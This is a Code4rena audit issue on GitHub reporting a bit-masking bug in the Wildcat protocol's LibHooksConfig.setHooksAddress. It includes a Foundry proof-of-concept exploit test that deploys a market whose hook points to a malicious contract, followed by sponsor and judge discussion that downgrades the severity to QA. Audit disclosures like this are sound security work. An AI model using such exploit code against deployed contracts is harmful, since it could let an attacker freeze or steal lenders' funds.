Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

H-01 LibHooksConfig.setHooksAddress is updating address incorrectly #85

Open
howlbot-integration bot opened this issue Sep 20, 2024 · 7 comments
Open
Labels
bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue duplicate-3 grade-b Q-13 QA (Quality Assurance) Assets are not at risk. State handling, function incorrect as to spec, issues with clarity, syntax 🤖_106_group AI based duplicate group recommendation sufficient quality report This report is of sufficient quality

Comments

@howlbot-integration
Copy link

Lines of code

https://github.com/code-423n4/2024-08-wildcat/blob/main/src/types/HooksConfig.sol#L84-L94

Vulnerability details

Description: Currently, the wildcat protocol is using HooksConfig for deploying markets, which is responsible for enabling various features in a particular market.

The current HookConfig encoding is as follows:

----------------------------------------------------------
| 160 bit (hookAddress) | 16 bit (flags) | 80 bit (others)|
----------------------------------------------------------

The LibHooksConfig.setHooksAddress() function is responsible for updating the new hookAddress in the hookConfig, but it is only clearing the leftmost 96 bits instead of 160 bits.

function setHooksAddress(
  HooksConfig hooks,
  address _hooksAddress
) internal pure returns (HooksConfig updatedHooks) {
  assembly {
    // Shift twice to clear the address
    updatedHooks := shr(96, shl(96, hooks))
    // Set the new address
    updatedHooks := or(updatedHooks, shl(96, _hooksAddress))
  }
}

Impact:

  1. A malicious user could deploy and register an wildcat market with a malicious hooks contract using hookFactory.deployMarketAndHooks, which has a non-zero address in DeployMarketInputs.parameters.hooks.

Proof of Concept (PoC):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import 'src/types/HooksConfig.sol';
import { Test, console2 } from 'forge-std/Test.sol';

contract TestH1 is Test {
    function setUp() public {}

    function testSetHooksAddress() public {
        HooksConfig craftedHook = encodeHooksConfig(address(0x1111111111111111111111111111111111111111), true, true, true, true, true, true, true, true, true, true);

        address hookInstance = address(this);

        craftedHook = LibHooksConfig.setHooksAddress(craftedHook, hookInstance);

        HooksConfig expectedConfig = encodeHooksConfig(address(this), true, true, true, true, true, true, true, true, true, true);

        assertNotEq(
            HooksConfig.unwrap(expectedConfig), HooksConfig.unwrap(craftedHook)
        );
    }
}

Recommendation:

+      updatedHooks := shr(160, shl(160, hooks))
-      updatedHooks := shr(96, shl(96, hooks))

Assessed type

Error

@howlbot-integration howlbot-integration bot added 3 (High Risk) Assets can be stolen/lost/compromised directly 🤖_106_group AI based duplicate group recommendation bug Something isn't working duplicate-3 sufficient quality report This report is of sufficient quality labels Sep 20, 2024
howlbot-integration bot added a commit that referenced this issue Sep 20, 2024
@c4-judge c4-judge added downgraded by judge Judge downgraded the risk level of this issue QA (Quality Assurance) Assets are not at risk. State handling, function incorrect as to spec, issues with clarity, syntax and removed 3 (High Risk) Assets can be stolen/lost/compromised directly labels Oct 3, 2024
@c4-judge
Copy link
Contributor

c4-judge commented Oct 3, 2024

3docSec changed the severity to QA (Quality Assurance)

@c4-judge c4-judge added grade-c unsatisfactory does not satisfy C4 submission criteria; not eligible for awards labels Oct 3, 2024
@c4-judge
Copy link
Contributor

c4-judge commented Oct 3, 2024

3docSec marked the issue as grade-c

@atarpara
Copy link

atarpara commented Oct 11, 2024

@3docSec, thank you for your judgment and marking this as a duplicate of issue #3. In that report, the warden only mentioned that it affects cases where setHookAddress is called a second time. According to the sponsor's comment, there is no functionality allowing this function to be called twice. However, both the warden and sponsor overlooked that report and forgot about the hookFactory.deployMarketAndHooks function relies on user input from DeployMarketInputs.parameters.hooks which can be non-zero. A malicious user could easily deploy and register a wildcat market with a malicious hook via the hook factory. I already mentioned this in the impact section of my report. This would allow a borrower to easily tamper the whole wildcat market, as the sponsor mentioned in issue #3.

Full POC:

Copy below code into test folder
runs : forge test --mt test_deployMarketWithMaliciousHooks -vvvv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Test, console2} from "forge-std/Test.sol";
import "src/types/HooksConfig.sol";
import "src/WildcatArchController.sol";
import "src/HooksFactory.sol";
import "src/libraries/LibStoredInitCode.sol";
import {MockERC20, ERC20} from "solmate/test/utils/mocks/MockERC20.sol";
import "src/market/WildcatMarket.sol";
import "./shared/mocks/MockHooks.sol";


contract HookExpliotContract {
    struct DeployMarketInputs {
        address asset;
        string namePrefix;
        string symbolPrefix;
        uint128 maxTotalSupply;
        uint16 annualInterestBips;
        uint16 delinquencyFeeBips;
        uint32 withdrawalBatchDuration;
        uint16 reserveRatioBips;
        uint32 delinquencyGracePeriod;
        uint256 hooks;
    }

    function onCreateMarket(address, address, DeployMarketInputs calldata, bytes calldata) public returns (bytes32) {
        return bytes32(abi.encodePacked(address(0xABCD), uint96(0)));
    }
}

contract TestH1 is Test {
    WildcatArchController archController;
    IHooksFactory hooksFactory;
    address hooksTemplate;

    address internal constant nullAddress = address(0);
    MockERC20 internal feeToken = new MockERC20("Token", "TKN", 18);
    MockERC20 internal underlying = new MockERC20("Market", "MKT", 18);
    address internal constant sanctionsSentinel = address(1);

    function _storeMarketInitCode() internal virtual returns (address initCodeStorage, uint256 initCodeHash) {
        bytes memory marketInitCode = type(WildcatMarket).creationCode;
        initCodeHash = uint256(keccak256(marketInitCode));
        initCodeStorage = LibStoredInitCode.deployInitCode(marketInitCode);
    }

    function setUp() public {
        archController = new WildcatArchController();

        (address marketTemplate, uint256 marketInitCodeHash) = _storeMarketInitCode();
        hooksFactory = new HooksFactory(address(archController), sanctionsSentinel, marketTemplate, marketInitCodeHash);
        hooksTemplate = LibStoredInitCode.deployInitCode(type(MockHooks).creationCode);
        archController.registerControllerFactory(address(hooksFactory));
        hooksFactory.registerWithArchController();
        assertEq(hooksFactory.archController(), address(archController));
    }

    // Copied from https://github.com/Vectorized/solady/blob/main/src/utils/LibRLP.sol
    function computeAddress(address deployer, uint256 nonce) internal pure returns (address deployed) {
        /// @solidity memory-safe-assembly
        assembly {
            for {} 1 {} {
                // The integer zero is treated as an empty byte string,
                // and as a result it only has a length prefix, 0x80,
                // computed via `0x80 + 0`.

                // A one-byte integer in the [0x00, 0x7f] range uses its
                // own value as a length prefix,
                // there is no additional `0x80 + length` prefix that precedes it.
                if iszero(gt(nonce, 0x7f)) {
                    mstore(0x00, deployer)
                    // Using `mstore8` instead of `or` naturally cleans
                    // any dirty upper bits of `deployer`.
                    mstore8(0x0b, 0x94)
                    mstore8(0x0a, 0xd6)
                    // `shl` 7 is equivalent to multiplying by 0x80.
                    mstore8(0x20, or(shl(7, iszero(nonce)), nonce))
                    deployed := keccak256(0x0a, 0x17)
                    break
                }
                let i := 8
                // Just use a loop to generalize all the way with minimal bytecode size.
                for {} shr(i, nonce) { i := add(i, 8) } {}
                // `shr` 3 is equivalent to dividing by 8.
                i := shr(3, i)
                // Store in descending slot sequence to overlap the values correctly.
                mstore(i, nonce)
                mstore(0x00, shl(8, deployer))
                mstore8(0x1f, add(0x80, i))
                mstore8(0x0a, 0x94)
                mstore8(0x09, add(0xd6, i))
                deployed := keccak256(0x09, add(0x17, i))
                break
            }
        }
    }

    function test_deployMarketWithMaliciousHooks() public {
        
        hooksFactory.addHooksTemplate(hooksTemplate, "template", address(0), address(0), 0, 0);
        archController.registerBorrower(address(this));

        bytes memory constructorArgs = "";

        bytes memory createMarketHooksData = "o hey this is my createMarketHooksData do u like it";

        HooksConfig maliciousHook =
            encodeHooksConfig(address(0xff), true, true, true, true, true, true, true, true, true, true, true);

        DeployMarketInputs memory parameters = DeployMarketInputs({
            asset: address(underlying),
            namePrefix: "name",
            symbolPrefix: "symbol",
            maxTotalSupply: type(uint128).max,
            annualInterestBips: 0,
            delinquencyFeeBips: 0,
            withdrawalBatchDuration: 0,
            reserveRatioBips: 0,
            delinquencyGracePeriod: 0,
            hooks: maliciousHook
        });

        // set nonce of hooksFactory for a address calculation
        vm.setNonce(address(hooksFactory), 100);
        // Calculate factory hookInstance address (create method)
        address deployedHookInstance = address(computeAddress(address(hooksFactory), 100));

        address hookExpliotContract;
        
        // clean hook Address
        assembly {
            deployedHookInstance := shr(96, shl(96, deployedHookInstance))
            hookExpliotContract := or(deployedHookInstance, 0xff)
        }

        // Assume: Attacker already Deploy contract at address = deployHookInstance | 0xff
        vm.etch(address(hookExpliotContract), type(HookExpliotContract).runtimeCode);

        (address market0, address hooksInstance0) =
            hooksFactory.deployMarketAndHooks(hooksTemplate, "", parameters, "", bytes32(uint256(15646)), address(0), 0);

        // @audit  Deployed market points hooks with malicious hooks data
        assertEq(LibHooksConfig.hooksAddress(WildcatMarket(market0).hooks()), address(0xABCD));

        // register hookInstance with factory
        assertEq(hooksFactory.getHooksTemplateForInstance(hooksInstance0), hooksTemplate);
    }
}

@d1ll0n
Copy link

d1ll0n commented Oct 12, 2024

I think like with #3 the severity is inflated for two reasons:

  • Borrowers have to be whitelisted to deploy a market or hooks instance
  • To exploit this you'd need to deploy a contract with 96 matching bits -- not completely impossible but also not very realistic

I do appreciate the finding though, this was definitely a mistake.

@atarpara
Copy link

I think like with #3 the severity is inflated for two reasons:

  • Borrowers have to be whitelisted to deploy a market or hooks instance

I agree that borrowers need to be whitelisted, but wildcat markets operate based on borrowers. If no borrowers are willing to borrow funds, the wildcat market would halt. Therefore, from the protocol’s perspective, it will aim to whitelist as many borrowers as possible.

  • To exploit this you'd need to deploy a contract with 96 matching bits -- not completely impossible but also not very realistic

I agree with this, but once someone manages to exploit it, regular users won’t have a way to know whether the deployed market is a trusted implementation or not.

Currently, if someone wants to verify a deployed hook instance, the flow is as follows:

  1. Call WildcatMarket(market0).hooks() and extract the upper 160 bits to get the hook.
  2. Call HooksFactory.getHooksTemplateForInstance(hook).

This returns the implementation of the given hook, but due to the deployMarketAndHooks flow, it completely spoofs the HooksFactory.getHooksTemplateForInstance mapping. As a result, there is no guarantee that it will return the correct hook template for a particular instance.

Therefore, users must rely on manually verifying the exact bytecode for specific hooks.

I believe the severity should be high because there is a clear path to steal or freeze all lender funds through the hooks. This is critical since the hook instance is responsible for verifying all actions when users deposit or withdraw from the market.

@3docSec
Copy link

3docSec commented Oct 14, 2024

While I would normally agree with you on a different protocol, we have to contextualize this statement:

regular users won’t have a way to know whether the deployed market is a trusted implementation or not

For Wildcat we have to remember that the borrower is considered a trusted entity (because of the undercollateralized nature of the protocol), so their actions are too as a consequence.

So I agree there are nuances of this finding that are different from #3, but we still are in QA territory

@c4-judge c4-judge added grade-b and removed grade-c unsatisfactory does not satisfy C4 submission criteria; not eligible for awards labels Oct 14, 2024
@c4-judge
Copy link
Contributor

3docSec marked the issue as grade-b

@C4-Staff C4-Staff reopened this Oct 17, 2024
@C4-Staff C4-Staff added the Q-13 label Oct 17, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue duplicate-3 grade-b Q-13 QA (Quality Assurance) Assets are not at risk. State handling, function incorrect as to spec, issues with clarity, syntax 🤖_106_group AI based duplicate group recommendation sufficient quality report This report is of sufficient quality
Projects
None yet
Development

No branches or pull requests

5 participants